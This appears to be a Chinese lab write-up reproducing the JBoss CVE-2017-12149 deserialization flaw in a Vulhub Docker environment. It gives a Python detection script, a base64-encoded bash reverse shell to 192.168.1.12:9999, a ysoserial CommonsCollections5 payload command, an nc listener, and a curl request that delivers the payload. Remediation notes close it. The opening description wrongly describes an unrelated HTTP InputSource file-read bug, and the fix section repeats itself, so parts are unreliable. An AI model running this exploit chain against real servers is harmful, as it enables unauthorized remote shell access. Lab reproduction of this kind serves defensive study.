漏洞描述
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。
kali 环境配置
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载安装vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
启动环境/vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
初始化完成后 访问 ip:端口号
使用python脚本进行漏洞检测
python cve-2017-12149_poc.py http://192.168.1.129:8080/
poc:
import requests
import sys
if len(sys.argv)!=2:
print('+---------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+---------------------------------------------------------------+')
print('+ USE: python <filename> <url> +')
print('+ EXP: python cve-2017-12149_poc.py http://freeerror.org:8080 +')
print('+ VER: Jboss AS 5.X +')
print('+ Jboss AS 6.X +')
print('+---------------------------------------------------------------+')
sys.exit()
url = sys.argv[1]
vulurl = url+"/invoker/readonly"
headers = {
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0",
'Accept': "*/*",
'Content-Type': "application/json",
'X-Requested-With': "XMLHttpRequest",
'Connection': "close",
'Cache-Control': "no-cache"
}
try:
r =requests.post(vulurl, headers=headers, verify=False)
e=r.status_code
except:
print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
sys.exit()
if e == 500:
print ("[+] Target "+url+" Find CVE-2017-12149 EXP:https://github.com/zhzyker/exphub")
else:
print ("[-] Target "+url+" Not CVE-2017-12149 Good Luck")
exit()
设置接收shell的ip和端口
bash -i >& /dev/tcp/192.168.1.12/9999 0>&1
base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==
编译 bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==}{base64,-d}|{bash,-i}
使用ysoserial生成序列化数据,并重定向到poc.ser文件 (ysoserial.jar需要下载)
java -jar ysoserial.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTMwLzk5OTkgMD4mMQ==}{base64,-d}|{bash,-i}" > poc.ser
开启nc监听
nc -lvvp 9999
通过二进制POST方式发送攻击载荷到 /invoker/readonly
curl http://192.168.1.129:8080/invoker/readonly --data-binary @poc.ser
反弹shell
修复方案
- 不需要 http-invoker.sar 组件的用户可直接删除此组件。
- 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
<url-pattern>/*</url-pattern>
删除此组件。
2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:
<url-pattern>/*</url-pattern>